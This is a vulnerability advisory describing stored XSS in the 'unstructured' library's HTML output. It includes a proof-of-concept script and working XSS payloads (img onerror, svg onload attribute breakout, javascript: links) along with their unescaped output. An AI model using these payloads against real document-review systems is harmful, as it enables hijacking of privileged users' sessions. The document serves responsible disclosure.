unstructured: Stored XSS via unescaped HTML generation

Summary

When unstructured parses an untrusted document and outputs the result as HTML, malicious markup contained in the document (e.g. <img src=x onerror=...>) is left in the output HTML without escaping. When that output is displayed in a browser, the script embedded in the document executes in the viewer's browser.

Details

partition_html(html_parser_version="v2") (and the VLM partitioner) preserve the input document's element tags, attributes, and text into metadata.text_as_html, and elements_to_html() outputs that as an HTML document.

The function that builds HTML on this path, to_html() in unstructured/documents/ontology.py, performs no escaping at all. As a result, event handlers such as onerror / onmouseover / onload originating from the input document are left in the output HTML as-is (literal <script> tags are stripped by the parser, but attribute-based vectors and javascript: URLs are not). In addition, link URLs are not scheme-filtered, so <a href="javascript:..."> is also emitted.

Relevant source: documents/ontology.py (to_html, _construct_attribute_string, _generate_final_html); partition/html/transformations.py (text_as_html = ontology_element.to_html()); partition/html/convert.py (elements_to_html).

PoC

Environment: downloads.unstructured.io/unstructured-io/unstructured:latest, unstructured 0.23.3.

from unstructured.partition.html import partition_html
from unstructured.partition.html.convert import elements_to_html

malicious = ('<body class="Document">'
             '<p class="Paragraph" onmouseover="alert(1)">hello'
             '<img src=x onerror="alert(document.domain)"></p>'
             '<a class="Hyperlink" href="javascript:alert(document.cookie)">click me</a>'
             '</body>')
els = partition_html(text=malicious, html_parser_version="v2")
open("xss_output.html", "w").write(elements_to_html(list(els), no_group_by_page=True))

elements_to_html() output body — the unescaped vectors survive:

<p class="NarrativeText" id="..." onmouseover="alert(1)">
  <p class="Paragraph">hello</p>
  <img class="Image" onerror="alert(document.domain)" src="x"/>
</p>
<a class="UncategorizedText" href="javascript:alert(document.cookie)" id="...">click me</a>

Opening xss_output.html in a browser fires alert automatically (via <img onerror>), with no interaction. Per-vector confirmation (each payload labelled, each verified in a browser):

| Vector | Trigger | Cause | |---|---|---| | <img onerror> | open file (auto) | element text not escaped | | <svg onload> (via title='"><svg ...>') | open file (auto) | attribute value not escaped (" breakout) | | <a href=javascript:> | click | link URL scheme not filtered | | onmouseover | hover | source attribute preserved as-is |

Impact

Stored XSS caused by improper output encoding. Anyone who renders the HTML or text_as_html generated from an untrusted document is affected. In an ingestion pipeline where uploaded documents are parsed and a staff member reviews their contents in a web UI, a low-privileged or external submitter can inject malicious HTML; when a privileged reviewer later opens the parsed result, <img onerror> fires in their session with no interaction, leading to cross-record information disclosure and privileged actions.